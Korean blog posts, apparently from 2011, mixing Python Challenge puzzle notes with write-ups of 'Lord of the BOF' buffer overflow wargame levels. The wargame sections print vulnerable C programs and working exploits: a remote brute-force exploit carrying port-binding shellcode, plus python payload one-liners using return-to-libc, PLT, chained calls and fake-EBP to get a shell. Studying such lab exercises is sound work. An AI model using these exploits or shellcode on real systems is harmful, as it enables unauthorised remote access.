2011. 6. 21. 08:09

[ problem ] - http://www.pythonchallenge.com/pc/def/ocr.html

♧ 힌트를 보면 소스 페이지라는 단어가 눈에 띤다.

일단 소스 페이지를 보면 아래와 같은 희귀문자 들이 엉망으로 섞여 있는 것을 볼 수 있다.

이 속에서 알파벳을 찾는 문제이다.

 
( re — Regular expression operations 참조)

   

 

[ Solution ] - http://www.pythonchallenge.com/pcc/def/equality.html
(※ 문제에 대한 다양한 해결법은 링크 참조.)

Posted by devanix
2011. 6. 20. 20:48

[ problem ] - http://www.pythonchallenge.com/pc/def/map.html

그림과 같이 K->M, O->Q, E->G의 규칙성은 해당 문자가 2만큼 떨어져 있다.

그림의 보라색 글자가 무슨 암호화 같이 보이지만 해당 글자를 2씩 증가하면
아래와 같이 string.maketrans() 권장한다는 친절한 멘트와 힌트가 보인다. (단, y->a)

"i hope you didnt translate it by hand. thats what computers are for.
doing it in by hand is inefficient and that's why this text is so long.
using string.maketrans() is recommended.
now apply on the url."

♧ 현재 url의 "map.html"을 규칙성을 적용해 보면 "orc.jvon"이 된다.

(http://www.pythonchallenge.com/pc/def/ocr.jvon)

   

 

[ Solution ] - http://www.pythonchallenge.com/pcc/def/ocr.html
(※ 문제에 대한 다양한 해결법은 링크 참조.)

Posted by devanix
2011. 6. 20. 19:56

http://www.pythonchallenge.com/index.php

♧ Python 프로그래밍을 여러 수수께끼 문제를 통해 쉽고 재미있게 배울 수 있는 사이트.

   

[ 도전하기 ]

♧ 사이트 접속후 아래 "Click here to get challenged"를 클릭하면 도전 시작.

   

♧ 도전을 시작 하면 아래와 같은 문제 화면이 보인다.

※ 2의 38승을 구하는 문제이다.
URL 주소란에 그림과 같이 문제의 답을 적으면 다음 레벨로 넘어가게 된다.

   

[ 문제에 대한 다양한 해결책 보기 ]

위와 같이 URL을 pc->pcc로 고치면 다음 그림과 같이 문제에 대한 여러 해결법을 볼 수 있다.

   

[ Solution ] - http://pythonchallenge.com/pcc/def/map.html

Posted by devanix
2011. 6. 18. 14:18

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- dark knight

- remote BOF

*/

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>

   

main()

{

char buffer[40];

   

int server_fd, client_fd;

struct sockaddr_in server_addr;

struct sockaddr_in client_addr;

int sin_size;

   

if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

perror("socket");

exit(1);

}

   

server_addr.sin_family = AF_INET;

server_addr.sin_port = htons(6666);

server_addr.sin_addr.s_addr = INADDR_ANY;

bzero(&(server_addr.sin_zero), 8);

   

if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

perror("bind");

exit(1);

}

   

if(listen(server_fd, 10) == -1){

perror("listen");

exit(1);

}

   

while(1) {

sin_size = sizeof(struct sockaddr_in);

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

perror("accept");

continue;

}

   

if (!fork()){

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

send(client_fd, "You : ", 6, 0);

recv(client_fd, buffer, 256, 0);

close(client_fd);

break;

}

   

close(client_fd);

while(waitpid(-1,NULL,WNOHANG) > 0);

}

close(server_fd);

}


♧ Remote BOF 문제이다. 단순 brute force 공격으로 문제를 해결 합니다.
원격 프로그램을 공격할 때는 지금까지의 쉘코드가 동작하지 않는다.
♧ 해당 http://www.exploit-db.com/exploits/13910/ 사이트에서 포트 바인딩 쉘코드를 다운받고

익스플로잇을 작성 합니다.
삽입된 쉘코드는 연결된 네트워크 포트로 쉘을 바인딩하고 31337번 포트를 바인딩 하고 TCP연결을 기다립니다.


   

   

[ 익스플로잇 작성 ]

[dumpcode.h]

/******************************

* RAW 메모리를 16진수로 덤프

*******************************/

void dump(const unsigned char *data_buffer, const unsigned int length) {

unsigned char byte;

unsigned int i, j;

   

for(i=0; i < length; i++) {

byte = data_buffer[i];

if (i%16 == 0)

printf("%08x: ", (unsigned int)&data_buffer[i]);

printf("%02x ", byte); // display byte in hex

   

if(((i%16)==15) || (i==length-1)) {

for(j=0; j < 15-(i%16); j++)

printf(" ");

printf(" | ");

for(j=(i-(i%16)); j <= i; j++) { // display printable bytes from line

byte = data_buffer[j];

if((byte > 31) && (byte < 127)) // outside printable char range

printf("%c", byte);

else

printf(".");

}

printf("\n"); // end of the dump line (each line 16 bytes)

} // end if

} // end for

}


   

[exploit.c]

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include "dumpcode.h"

   

#define SA struct sockaddr

#define BUFSIZE 256

#define OFFSET 44

char bindport[] =

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

#define BINDPORT 31337

   

   

int main (int argc, char *argv[])

{

int sockfd;

struct sockaddr_in target_addr;

unsigned char buffer[BUFSIZE];

unsigned int retaddr = 0xbffffff0;

char cmd[100];

   

if (argc != 3) {

fprintf(stderr, "Usage: %s <Target Address> <Port>\n", argv[0]);

return -1;

}

   

sprintf(cmd, "%s %s %d", "telnet", argv[1], BINDPORT);

   

while (1) {

   

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {

perror ("socket error");

return -1;

}

memset(&target_addr, 0, sizeof(target_addr));

target_addr.sin_family = AF_INET;

target_addr.sin_port = htons(atoi(argv[2]));

target_addr.sin_addr.s_addr = inet_addr(argv[1]);

   

if (connect (sockfd, (SA*)&target_addr, sizeof(target_addr)) == -1) {

perror ("connect error");

close(sockfd);

continue;

}

retaddr -= 10;

memset(buffer, '\x90', sizeof(buffer));

memcpy(buffer+OFFSET, &retaddr, 4);

memcpy(buffer+100, bindport, strlen(bindport));

puts("_____ Exploit Buffer:");

dump(buffer, strlen(buffer));

send(sockfd, buffer, strlen(buffer), 0);

system(cmd);

close(sockfd);

}

   

return 0;

}


   

[ 결과 화면 ]

[xavius@localhost xavius]$ gcc -W -Wall exploit.c -o exploit

[xavius@localhost xavius]$ ./exploit 192.168.0.100 6666

성공!!!


   

   

Posted by devanix
2011. 6. 15. 22:01

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- xavius

- arg

*/

#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>

   

main()

{

char buffer[40];

char *ret_addr;

   

// overflow!

fgets(buffer, 256, stdin);

printf("%s\n", buffer);

   

if(*(buffer+47) == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}

   

if(*(buffer+47) == '\x08')

{

printf("binary image retbayed you, too!!\n");

exit(0);

}

   

// check if the ret_addr is library function or not

memcpy(&ret_addr, buffer+44, 4);

while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function

{

if(*ret_addr == '\xc9'){ // leave

if(*(ret_addr+1) == '\xc3'){ // ret

printf("You cannot use library function!\n");

exit(0);

}

}

ret_addr++;

}

   

// stack destroyer

memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

   

// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


♧ 사용 할 수 있는 공간이 별루 없다.
fgets 내부 버퍼를 사용하여 문제를 풀도록 하자.

   

[ summary ]

① strace ./사본으로 내용을 보면 fgets()는 내부 시스템콜 read()를 호출하는데
이때 표준입출력 0인 파일디스크립터를 인자로 하여 호출 하는것을 볼 수 있다.
즉 read(0, 을 사이로 0x40015000~0x40016000(4096Byte)까지 메모리 맵핑 하는 것을 볼 수 있다.

② gdb로 fgets를 호출 후 바로 확인해 보면 입력한 "DDDD~"가 0x40015000부터 들어가는 것을 볼 수 있다.


③ 이 공간에 쉘코드를 사입후 문제를 푼다.

[BUFFER]+[SFP](44Byte)

[RET]

[NOP썰매]+[쉘코드]

0X40015000


   

[ Attack ]

∑xploit

( python -c 'print "\x90"*27 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3" + "\x01\x50\x01\x40"' ; tee) | ./xavius

※(0x40015000은 마지막 "00"이 널로 취급 때문에 NOP썰매가 있는 곳으로 수정)

성공!!!



nightmare : "beg for me"

Posted by devanix
2011. 6. 15. 00:26

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- nightmare

- PLT

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>

   

main(int argc, char *argv[])

{

char buffer[40];

char *addr;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// check address

addr = (char *)&strcpy;

if(memcmp(argv[1]+44, &addr, 4) != 0){

printf("You must fall in love with strcpy()\n");

exit(0);

}

   

// overflow!

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// dangerous waterfall

memset(buffer+40+8, 'A', 4);

}


♧ RET부분이 strcpy주소로 시작을 하는지 check하고 있다.
먼저 여기서 strcpy주소 인지 체크하는 부분은 plt에 있는 참조 주소이다.
이 plt의 strcpy의 참조 주소를 이용해 RTL로 문제를 풀도록 하자.


 

   

♧ GOT와 PLT [ 참조 ]

GOT는 Global Offset Table(전역 오프셋 테이블)약자며 실행 후, libc.so내 실제 함수 주소가 담기는 저장소이다.
PLT는 일종의 실제 호출 코드를 담고 있는 Procedure Linkage Table(프로시져 링키지 테이블)로써

이 내용 참조를 통해 _dl_runtime_resolve가 수행되고, 실제 시스템 라이브러리 호출이 이루어지게 된다.

(매 번이 아닌, 한 번만 수행되고 나면, 그 다음부터는 GOT에 기록된 내용만 참조하여 수행) 이를 실제

시스템 라이브러리 주소를 호출하기 위해 필요한 정보 테이블이라 보면 될 것 같다.


   

[ summary ]

♧ strcpy()를 이용해 argv[2]에 있는 system()를 리턴 주소(strcpy호출 다음)에 복사하여 실행 흐름을 변경한다.

  


   

   

[ Attack ]

필요한 주소 구하기.

ⓐ strcpy@plt

ⓑ strcpy[dest], strcpy[src]=argv[2] 주소 (사본 생성 후 주소 출력)


dest = 0xbffffaa0 + 48 = [ 0xbffffad0 ]

argv =[ 0xbffffc58 ]

   

∑xploit

$(python -c 'print "A"*44 + "\x10\x84\x04\x08" + "dumm" + "\xd0\xfa\xff\xbf" + "\x58\xfc\xff\xbf"') $(python -c 'print "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')

  


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

succubus : "here to stay"

 

Posted by devanix
2011. 6. 12. 05:04

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- succubus

- calling functions continuously

*/

   

#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>

   

// the inspector

int check = 0;

   

void MO(char *cmd)

{

if(check != 4)

exit(0);

   

printf("welcome to the MO!\n");

   

// olleh!

system(cmd);

}

   

void YUT(void)

{

if(check != 3)

exit(0);

   

printf("welcome to the YUT!\n");

check = 4;

}

   

void GUL(void)

{

if(check != 2)

exit(0);

   

printf("welcome to the GUL!\n");

check = 3;

}

   

void GYE(void)

{

if(check != 1)

exit(0);

   

printf("welcome to the GYE!\n");

check = 2;

}

   

void DO(void)

{

printf("welcome to the DO!\n");

check = 1;

}

   

main(int argc, char *argv[])

{

char buffer[40];

char *addr;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// you cannot use library

if(strchr(argv[1], '\x40')){

printf("You cannot use library\n");

exit(0);

}

   

// check address

addr = (char *)&DO;

if(memcmp(argv[1]+44, &addr, 4) != 0){

printf("You must fall in love with DO\n");

exit(0);

}

   

// overflow!

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// stack destroyer

// 100 : extra space for copied argv[1]

memset(buffer, 0, 44);

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

   

// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


1) argv[1]에서 "\x40"이 유무 체크. (library 함수를 사용하지 못함)
2) RET에는 DO함수 주소가 있어야 함.
3) RET이후 100Byte 사용가능.
♧ RTL개념과 같다. 다만 각 함수마다 플래그 체크를 하여 <DO> <GYE> <GUL> <YUT> <MO> 순으로 호출해야 한다.


 

   

[ summary ]

스택에서 함수 호출은 다음과 같은 모양이다.

함수 주소

리턴 주소

인자 1

인자 2

인자 3


그러나 리턴 주소 부분에 다시 함수 호출을 한다면 연속 적으로 호출 할 수 있다.
다만 인자가 없는 함수 호출만 연속적으로 호출 할 수 있다.

그리고 마지막에 호출되는 함수는 인자를 사용 할 수 있다.

   

그리고 맨 마지막 <MO> 함수는 system(인자)를 호출하게 되는데
사용 할 수 있는 스택은 RET 부터 +100byte뿐임으로 다음과 같이 구성한다.

<BUFFER>

<SFP>

<DO>

..[중략]..

<MO>

<RET:더미>

&("bash")문자열 주소

"bash"

  


   

[ Attack ]

필요한 주소 구하기.

ⓐ 도,개,걸,윳,모 주소

ⓑ "/bin/sh"문자열 주소

[버퍼 주소 40Byte] + [SFP4Byte] + [도, 개, 걸, 윳, 모 20Byte] + [더미4Byte] + [&("/bin/sh")4Byte]

= 0xbffffa70 + 40 + 4 + 20 + 4 + 4 = [ 0xbffffab8 ]

   

∑xploit

$(python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "dmmm" + "\xb8\xfa\xff\xbf" + "/bin/sh"')


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

zombie_assassin : "no place to hide"

Posted by devanix
2011. 6. 11. 22:24

⊙ 문제의 소스를 보자)

/*

The Lord of the BOF : The Fellowship of the BOF

- zombie_assassin

- FEBP

*/

   

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}

   

if(argv[1][47] == '\x40')

{

printf("library retbayed you, too!!\n");

exit(0);

}

   

// strncpy instead of strcpy!

strncpy(buffer, argv[1], 48);

printf("%s\n", buffer);

}


♧ strncpy()함수로 인하여 buffer에 복사할 크기를 48로 정의 함으로써 바로 RTL을 사용하지 못한다.
그래서 제목 제목 처럼 Fake-ebp로 문제를 해결한다.

   

1) FAKE EBP?

♧ 일반 RTL에서는 하나의 함수밖에 호출하지 못하지만 FAKE EBP를 사용 함으로서 여러 함수를 실행하는 공격이 가능 하다.

♧ RET에 leave;ret 주소를 덮음으로써 조작한 ebp로 실행흐름을 바꿀 수 있게 된다.

① 공격 당한 함수의 에필로그(leave;ret)는 fake_ebp0를 %ebp에 집어 넣을 것이다.

② 두 번째 에필로그 역시 fake_ebp1을 %ebp에 집어 넣고, 적당한 매개변수를 가지는 f1으로 리턴 할 것이다.

③ f1이 실행되고 리턴 될 것이다.

④ [ ②와 ③ ]과정이 반복되고, f1에서 부터 f2, f3... fn까지 반복 될 것이다.


   

2) 구성

① 공격 당한 함수의 에필로그 leave가 실행되면 [mov ebp esp]로 인해 esp가 ebp의 시작 지점으로 이동하며
[pop ebp]로 인해 FAKE EBP를 ebp에 넣게 된다.

(이때 pop ebp로 인해 esp+4가 되며 leave의 주소가 들어있다)

② 다음 인스트럭션 명령인 ret이 실행되고 리턴 주소인(leave)가 pop eip가 되면서 다시 leave로 점프하게 된다.

③ 다시 또 한번 leave가 실행되고 ebp에는 FAKE EBP인 버퍼의 시작 주소를 가리키고 있으므로

[ mov ebp esp]로 인해 esp는 buffer의 시작 지점으로 이동하게 되며 [pop ebp]로 인해 esp+4가 된다.

④ 역시 또 한번 ret이 실행 됨으로 system()를 호출하게 된다.


 

   

∑ 익스플로잇 작성!

① 공격 스크립트 작성

"AAAA"

system:

[ 0x40058ae0]

exit:

[ 0x400391e0]

"/bin/sh":

[0x400fbff9]

buffer:

[0xbffffab0]

leave;ret:

[0x080484df]

$(python -c 'print "AAAA" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "A"*24 + "\xb0\xfa\xff\xbf" + "\xdf\x84\x04\x08"')

∑xploit


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

   

assassin : "pushing me away"

Posted by devanix